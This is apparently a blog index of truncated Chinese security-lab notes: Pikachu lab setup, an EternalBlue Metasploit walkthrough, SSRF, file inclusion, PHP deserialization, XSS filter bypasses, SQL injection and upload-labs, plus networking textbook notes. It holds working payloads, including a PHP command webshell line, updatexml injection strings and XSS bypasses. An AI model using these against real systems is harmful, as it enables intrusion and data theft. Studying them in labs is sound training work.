pikachu
一、搭建靶场
去官网把靶场下载下来,链接地址
将下载好的pikachu文件夹到phpstudy的www目录下
到pikachu/inc/config.inc.php中更改数据库连接的账号和密码
访问localhost/pikachu/index.php进行初始化安装
安装完成后即可访问开干
二、暴力破解
1、概述
Burte Force(暴力破解)概述
“暴力破解”是一攻击具手段,在web攻击中,一般会使用这种手段对应用系统的认证信息进行获取。 其过程就是使用大量的认证信息在认证接口进行尝试登录,直到得到正确的结果。为了提高效率,暴力破解一般会使用带有字典的工具来进行自动化操作。
理论上来说,大多数系统都是可以被暴力破解的,只要攻击者有足够强大的计算能力和时间,所以断定一个系统是否存在暴力破解漏洞,其条件也不是绝对的。我们说一个web应用系统存在暴力破解漏洞,一般是指该web应用系统没有采用或者采用了比较弱的认证安全策略,导致其被暴力破解的“可能性”变的比较高。这里的认证安全策略, 包括:
是否要求用户设置复杂的密码
是否每次认证都是用安全的验证码或者手机o ...
永恒之蓝复现
一、搭建测试环境
两台虚拟机
kali linux(攻击机)ip:192.168.11.132
Windows 7(被攻击机)ip:192.168.11.128
tips:被攻击机防火墙需要关闭否则会对实验造成影响
二、扫描端口
使用nmap扫描端口查看是否开放445端口
nmap 192.168.11.128
发现445端口开放
三、使用Metasploit工具
msf(Metasploit)是一个开源的工具,它常常应用于渗透测试方面,它里面六个模块分别为辅助模块(auxiliary)、渗透攻击模块(exploits)、后渗透攻击模块(post)、攻击载荷模(payloads)、空指令模块(nops)、编码器模块(encoders)。它里面含有2000多种漏洞库存,用于测试
使用msfconsole进入该工具,然后使用search ms17-010寻找所需模块
1、检验是否有漏洞
使用auxiliary模块验证是否有永恒之蓝漏洞:use auxiliary/scanner/smb/smb_ms17_010
show options可以查看需要配置的东西
配置ip:set ...
SSRF
一、什么是SSRF
SSRF(server-side request forgery,服务端请求伪造),这是一个由攻击者构造请求,服务器发起请求的安全漏洞,就是让服务器去请求你通常请求不到的东西
文件包含
一、什么是文件包含?
开发人员将需要重复调用的函数全部写入一个文件中,然后对该文件进行包含,这就是文件包含。这样可以减少代码冗余,降低代码后期维护难度。
PHP的文件包含函数:
require:函数出现错误时,会直接报错并退出程序执行。
requi_once:出错时直接退出,且仅包含一次。
include:函数出现错误时,会抛出一个警告,程序继续执行。
include_once:函数出现错误时,会抛出警告,且仅包含一次。
二、漏洞产生原因
文件包含函数加载的参数没有经过过滤或严格定义,可以被用户控制,使其包含其他恶意文件,导致了执行非预期代码。
三、漏洞利用方式
1、本地文件包含配合日志文件
通过在有传参的地方写上php代码,因为url会将我们的php代码进行编码,所以我们还要在burp里将编码改回来再进行请求
此时,日志文件里就包含了我们的这串php代码,此时我们通过
2、本地文件包含配合/proc/self/environ文件(Linux)
将php代码<?php system($_GET['cmd']);?>添加到user_Agent里,再通过传参?page=/ ...
PHP反序列化
一、什么是反序列化?
首先我们要知道什么是序列化,我们在php里定义一个class,这个class里存储着一些变量和数据,如果这个class一直不销毁,就会浪费系统资源,在一些大型项目里可能就会产生问题,因此,我们可以把这个对象序列化(serialize),以字符串的形式存储起来,当需要用的时候再将它进行反序列化(unserialize)回来就可以了。
例如:
12345678<?phpclass demo{ public $name = 'bob'; public $age = 22;}$var = new demo();echo serialize($var);?>
运行结果为:
1O:4:"demo":2:{s:4:"name";s:3:"bob";s:3:"age";i:22;}
这里的各个字母分别的含义为:
1234567891011a - array 数组b - boolean 布尔型d - double 双精度型i ...
XSS各种绕过姿势
0x01 分类
1、反射型
也分为GET和POST两种,非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。反射型XSS大多数是用来盗取用户的Cookie信息。
2、存储型
持久化,代码是存储在服务器中的,如在个人信息、发表文章、发表评论等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。
3、DOM型
不经过后端,基于文档对象模型的一种漏洞,它是通过url传入参数去控制触发的,其实也属于反射型。
0x02 绕过方法
一、过滤关键字
1.1 大小写绕过
<a Href="JavasCript:aLert('xss')">
1.2 双写关键字绕过
有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过:
<a hhrefref="javascripscriptt:alert('xss')">
1.3 字符串拼接
通过利用eval函数:
<a href="a='javasc ...
sql注入
一、报错盲注
1、通过updatexml报错
爆数据库名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))--+
爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))--+
爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=TABLE_NAME)),0x7e))--+
爆字段数据:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))--+
2、通过floor报错 ...
upload-labs
Pass-01:
查看源代码,不难发现,第一个属于前端js验证,有三种方法
1234567891011121314151617function checkFile() { var file = document.getElementsByName('upload_file')[0].value; if (file == null || file == "") { alert("请选择要上传的文件!"); return false; } //定义允许上传的文件类型 var allow_ext = ".jpg|.png|.gif"; //提取上传文件的类型 var ext_name = file.substring(file.lastIndexOf(".")); //判断上传文件类型是否允许上传 if (allow_ext.indexOf(ext_name + "|&qu ...
《计算机网络自顶向下方法》(计算机网络和因特网)(3)
0x03 网络核心
通过网络链路和交换机移动数据有两种方法:分组交换(packet switching)和电路交换(circuit switching)
一、分组交换
为了从源端系统向目的端系统发送一个报文(message),源将长报文划分为较小的数据块,称之为分组(packet)
在源和目的地之间,每个分组都通过通信链路和分组交换机(packet switch)传送。(交换机主要有两类:路由器(router)和链路层交换机(link-layer switch))
3.1 存储转发传输
多数分组交换机在链路的输入端使用存储转发传输(store-and-forward transmission)机制
存储转发传输是指在交换机能够开始向输出链路传输该分组的第一个比特之前,必须接收到整个分组
3.2 排队时延和分组丢失
每台分组交换机有多条链路与之相连,对于每条相连的链路,该分组交换机具有一个输出缓存(output buffer),它用于存储路由器准备发往那条链路的分组
如果到达的分组需要传输到某条链路,但发现该链路正忙于传输其他分组,该到达分组必须在输出缓存中等待,这时就会出现排 ...
《计算机网络自顶向下方法》(计算机网络和因特网)(2)
0x02 网络边缘
回想前一节计算机网络的术语,通常把与因特网相连的计算机和其他设备成为端系统,之所以称为端系统,因为它们位于因特网的边缘
端系统也称为主机(host),因为它们容纳(即运行)应用程序
主机有时又被进一步划分为两类:客户(client)和服务器(server),客户通常是桌面PC、智能手机等,而服务器通常是更为强大的机器,用于存储和发布Web页面、流视频、中继电子邮件等
一、接入网
接入网指将端系统物理连接到其**边缘路由器(edge router)**的网络
边缘路由器是端系统到任何其他远程端系统的路径上的第一台路由器
1、家庭接入:DSL、电缆、FTTH、拨号和卫星
宽带住宅接入有两种最流行的类型:**数字用户线(Digital Subscriber Line,DSL)**和电缆
每个用户的DSL调制解调器使用现有的电话线与位于电话公司的本地中心局(CO)中的数字用户线接入复用器(DSLAM)交换数据
家庭的DSL调制解调器得到数字数据后将其转换为高频音,以通过电话线传输给本地中心局,然后在DSLAM处被转换回数字形式
家庭电话线用不同的频率进行编 ...